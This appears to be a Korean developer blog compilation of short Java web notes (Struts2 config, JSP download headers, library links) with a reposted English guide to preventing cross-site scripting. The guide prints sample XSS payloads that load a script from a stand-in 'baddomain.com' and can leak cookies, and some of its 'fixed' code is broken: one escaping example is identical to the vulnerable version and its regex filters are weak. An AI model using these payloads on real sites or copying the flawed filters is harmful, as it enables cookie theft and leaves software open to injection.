출처 : http://www.vitarara.org/cms/struts_2_cookbook/post_and_redirect




<action name="createSalesOrderConfirmation" class="sales.CreateSalesOrderAction">

    <result name="redirect" type="redirect-action">

        <param name="actionName">displaySalesOrder</param>

        <param name="namespace">/order/sales</param>

        <param name="parse">true</param>

        <param name="id">${order.id}</param>

    </result>

</action>

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

Struts2 에서는 아래와 같은 방법으로 사용 가능합니다.

src/defaultConfigure.properties 에 format 을 등록.

# number format

format.qty={0,number, ,###,###,###}

JSP 페이지에서는 다음과 같이 호출합니다.

<s:text name="format.qty"><s:param name="value" value="%{10000}"/></s:text>

결과는 10,000 과 같이 출력됩니다.

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

http://jcifs.samba.org/



http://jcifs.samba.org/src/docs/ntlmhttpauth.html


읽어보구 현재 프로젝트에 적용할 수 있을때 해야겠다.

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

JSP/Servlet 환경에서 다운로드를 사용할 경우는
아래와 같은 순서를 가진다.

1. HttpServletResponse 로 부터 OutStream 을 얻는다.
2. Header, ContentsType 등을 설정한다.
3. FileStream 을 통해 전송될 파일의 스트림을 얻는다.
4. Response 로 부터 얻은 outputStream 에 파일을 쏜다.
5. 열려진 모든 자원을 닫는다.

뭐 다른것들은 괜찮지만  2번 항목에서 환경에 따라 헤더 설정이 틀려진다.
단독 WAS 환경인지, WAS 앞에 Apache 나 IIS 가 있는지 등등..

웬만한 부분에서는 아래와 같은 Header 설정이면 충분하다.

res.setContentType("appliction/octet-stream");
res.setHeader("Accept-Ranges","bytes");
res.setHeader("Content-Transfer-Encoding", "binary;");
res.setHeader("Pragma", "no-cache;");
res.setHeader("Expires", "-1;");

res.setHeader("Content-Disposition", "attachment; filename=" + fileName + ";");


문제는 위 설정으로 zip 파일이나, 다른 파일들은 저장, 열기가 잘 되지만 유독 HWP 파일에서 문제가 생긴다.

다운로드 창까지는 잘 뜨는데, 열기 버튼을 누르면 파일을 찾을 수 없다고 나온다.

저장해서 보면 잘 보이지만 ㅎㅎ

여차저차 해서 헤더에 아래와 같이 추가해줬다.

res.setHeader("Cache-control","private");

잘 된다 ^^

캐시 컨트롤을 private 으로 하겠다는 의미는 전송되는 개체가 공유 캐시에 보관되지 않고 특정 클라이언트만을 대상으로 해야 한다는 말이다.

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

Preventing Cross Site Scripting Attacks

Preventing Cross Site Scripting Attacks

Cross site scripting (XSS) is basically using JavaScript to execute JavaScript from an unwanted domain in a page. Such scripts could expose any data in a page that is accessible by JavaScript including, cookies, form data, or content to a 3rd party. Here is how you can prevent your web pages from being exploited on both the client and the server. This is followed with tips on how to avoid vulnerable sites.

• Escape parameters and User Input - The safest step you can take is to escape all parameters to a page where the parameters are displayed in the content.The same applies for any user input that may be displayed or re-displayed in a web page rendered by a server. The downside is that your users can not provide markup.
• Remove eval(), javascript, and script from User Provided Markup - If you allow users to provide markup in any part of your application that is displayed in a page make sure to remove eval() and javascript: calls from element attributes including styles as they can be used to execute JavaScript. Also remove script blocks.
• Filter User Input on the Server - You should always filter user input that is stored or processed on a server because URLs and GET/POST requests can be created manually.
• Use Caution with Dynamic Script Injection - Be careful when dynamically injecting external scripts to retrieve JSON based data as you are potentially exposing everything accessible by JavaScript.
• Avoid XSS Phishing Attacks - Be aware of sites that contain vulnerabilities and phishing style attacks containing external script references.

Escape Parameters and User Input

This is the classic XSS attack that can open your service or web application up to hackers. By design the site displays a user's id that is passed in as a URL parameter. The following script will take the id and display a welcome message.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
  }
  document.write("Hi " + id);
</script>

A request to the URL index.html?id=greg (assuming the page containing the script is index.html) will result in:

Hi greg

What would happen if instead of "greg" I used the following URL:

index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E

To prevent from these types of attacks your client code should always escape "<" and ">" parameters that are displayed or evaluated by JavaScript code.

You can do this with a simple line of code as can be seen in the next example.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
	
  }
  document.write("hi " + id);
</script>

Consider the following containing a form where a user enters a description that will be visible to other users.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    display.innerHTML = description;
  }
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

Seems innocent enough right? Try including the following content in the text area.

<a onmouseover="eval('s=document.createElement(\'script\'); document.body.appendChild(s); s.src=\'badscript.js\'')">Mouse Over Me</a>

A mouseover of the link will cause a script in a badscript.js to be loaded. This script could also pass along cookies or any other information it wanted to as parameters of the "s.src" URL. Unlike the first example where the user would need to click on a bad link this type of attack requires a simple mouseover to load the badscript.js.

So the question now comes to mind: 'How do you protect your web page from being being exploited?'

The following code shows how to escape markup on the client.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description = description .replace(/</g, "&lt;").replace(/>/g, "&gt;");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The code description = description.replace(//g, ">"); filters the user input and prevents unwanted scripts from being executed.

Now that we have looked at how to prevent most attacks the next section focuses on cases where you want to allow users to provide markup that does not contain malicious code.

Remove eval(), javascript:, and script from User Provided Markup

There may be cases where you want to allow a user to add markup such as links or HTML content that is displayed for other users to see. Consider a blog that allows for HTML markup, user provided URLs, HTML comments, or any other markup. The solution would be to filter all markup before it is displayed in a page or before it is sent to a server or service. The following example shows how to allow for some HTML markup while preventing malicious code.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description.replace(/[\"\'][\s]*javascript:(.*)[\"\']/g, "\"\"");
    description = description.replace(/script(.*)/g, "");    
    description = description.replace(/eval\((.*)\)/g, "");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The example above removes all eval(), javascript and script references that may be entered in the description field. The replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. You may consider refining the regular expressions to only look in tag attributes for example and to remove full scripts. There are other considerations you should keep in mind when filtering client code such as line breaks, charsets, case sensitivity which are commonly exploited in attacks. As some browsers will allow you to specify JavaScript calls from CSS styles you should also consider searching user provided CSS styles as well.

Filter User Input on the Server

Most of the problems related to cross site scripting are because of poorly designed clients. Servers can also unwillingly become participants in cross domain scripting attacks if they redisplay unfiltered user input. Consider the following example where a hacker manually makes a HTTP POST request to set the homepage URL with the following.

<a href="javascipt:eval('alert(\'bad\')');">Click Me</a>

The URL would end up being stored as is on the server as is and expose any user that clicks on the URL to the JavaScript. The example above seems innocent enough but consider what would happen if in place of an alert('bad') the "javascript" contained malicious code. To prevent such attacks you should filter user input on the server. The following Java example shows how to use regular expression replacement to filter user input.

String description = request.getParameter("description");
description = description.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
description = description.replaceAll("eval\\((.*)\\)", "");
description = description.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
description = description.replaceAll("script", "");

The code above removes eval() calls, javascript: calls, and script references the replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. The code above may be applied using a servlet, servlet filter, or JSF component on all input parameters or on a per parameter basis depending on what how much markup you would like to allow users to provide. You may want refine the regular expressions that filter the content to handle more or consider a Java library built that specializes in removing malicious code.

Use Caution with Dynamic Script Injection

Dynamic script injection to retrieve JSON data (also known as JSONP) can be powerful and useful as it decouples your client from the server of origin. There is still a bit of debate over using JSONP as some consider it as a hack or security hole in JavaScript because when you dynamically include a reference to a 3rd party script you are giving that script full access to everything in your page. That script could go on to inject other scripts or do pretty much whatever it wanted.

If you choose to use JSONP make sure you trust the site for which you are interacting with. There is nothing stopping a JSONP provider from including unwanted script with JSONP data. One alternative would be to provide a proxy service which you can control the output, restrict access to, and can cache as needed.

Avoid XSS Phishing Attacks

This next recommendation focuses on protecting yourself as a user from a site that is vulnerable to cross site scripting attacks.

Phishing attacks, or attacks where what appears to be a valid URL links to a fraudulent web page who's purpose is to collect a users data, are nothing new to the web world. A related attack involves cross site scripting attacks where a URL to a legitimate site that has a cross site scripting vulnerability contains a script reference. Such a link may appear in an email message, blog posting/comment, or other user generated content that contains a URL. Clicking a link to a site containing a cross site scripting vulnerability would cause a 3rd party script to be included along with your request and could expose your password, user id, or any other data. Consider the following example:

<a href="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E">See foobar</a>

A quick look at the URL shows it references the site http://foobar.com/index.html. An unsuspecting user may not see the script included as a parameter later in the URL.

It is also wise to always look at carefully at URLs and the URL parameters that are provided with them. URLs will always appear in the status bar of your browser as and you should always look for external script reference. Another solution would be to manually type in links into the URL bar of your browser if a link is suspect.

Be aware of sites known to have vulnerabilities and be very careful with any personal data you provide those sites.

While JavaScript based interfaces can be very flexible you need to be very careful with all user provided input whether it be as parameters or form data. Always make sure to escape or filter input on the both the client and server. As a user you should be cautious not to become a victim of a vulnerable site. It's better to be safe than in the news!

What other things do you do to prevent XSS attacks?

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

https://ajax.dev.java.net/

Project jMaki

jMaki is all about enabling Java developers to use JavaScript in their Java based applications as either a JSP tag library or a JSF component. jMaki uses the best parts of Java and the best parts of JavaScript to deliver a rich AJAX style widgets.

jMaki currently provides bootstrap widgets for many components from Dojo, Scriptaculus, Yahoo UI Widgets, Spry, DHTML Goodies, and Google. jMaki provides a common interfaces to these widget libraries and allows you to use these libraries together in the same page.

For more on running the code see Running the jMaki Sample Application.

If you plan on using or developing your own jMaki widgets please see the jMaki Developer Documentation.

Download the jMaki web application which contains all the latest components (updated 06/16/2006). The web application has been tested against the latest builds of Glassfish. jMaki is written as a JSP 2.0/JSF 1.1 tag library and should run on earlier containers that support JSP 2.0 and/or JSF 1.1 specifications.

Interested in creating rapidly Web Applications using the jMaki project? Check out the NetBeans 5.5 jMaki plugin that allows Drag and Drop of jMaki components directly in your JSP pages. Watch the screencast demonstrating the plugin capabilities (audio and video).

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

이클립스 3.1 에서 native2ascii 설정하는 방법을 찾다보니 없어서 올립니다.

1)Help > Software Updates > Find and Install

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

http://zk1.sourceforge.net/

스프링, 하이버네이트랑 연결두 되네~

요새는 닷넷만 개발하는데 과연 쓸 일이 있을 것인가~~~

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

http://www.zimbra.com/

jsp, javascript, XML/SOAP, ayax 등으로 만들어 졌네요.. 소스 크기가 무려 150MB나 되는 대형 프로젝트입니다.

아웃룹의 오픈소스 웹버전이라 생각하면 되겟습니다..

기능은 강력하지만, ,속도가 좀 안나온다는 단점이 있네요..

웹 어플리케이션의 전망을 점쳐볼수 있을 정도입니다.

관련 자료는 아래에서 받으실수 있습니다.

Zimbra Collaboration Suite 2005 Beta – Open Source

• Source (150 MB)
  Note: Source code tree coming soon

Binary

• RHEL 4 (150 MB)
• Fedora Core 3 (150 MB)
• Note: Additional binary releases coming soon

Related Documentation:

• Admin Guide OS (HTML)
• Quick Start Guide (HTML)
• OS Feature Notes (HTML)
• Release Notes (PDF)
• Zimbra Architectural Overview (PDF)
• Zimbra AJAX Toolkit (AjaxTK) Whitepaper (PDF)

Migration Wizard

• Binary (Exchange - 1 MB)

Related Documentation:

• Migration Wizard Install Guide

Flash Demo

• Flash Demo (ZIP)

데모와 스크린 샷은 아래에서 즐기세요

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

http://www.opensymphony.com/sitemesh/

example 돌려봤는데... 굉장히 심플하게 레이아웃을 만들어주네.

설정도 어렵지 않고... 아주 편리하겠는걸~

주말에 낚시갔다와서 문서좀 봐야긋당....

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

http://xmlc.objectweb.org

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.

http://www.shopping-star.net/

크리에이티브 커먼즈 라이선스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스에 따라 이용하실 수 있습니다.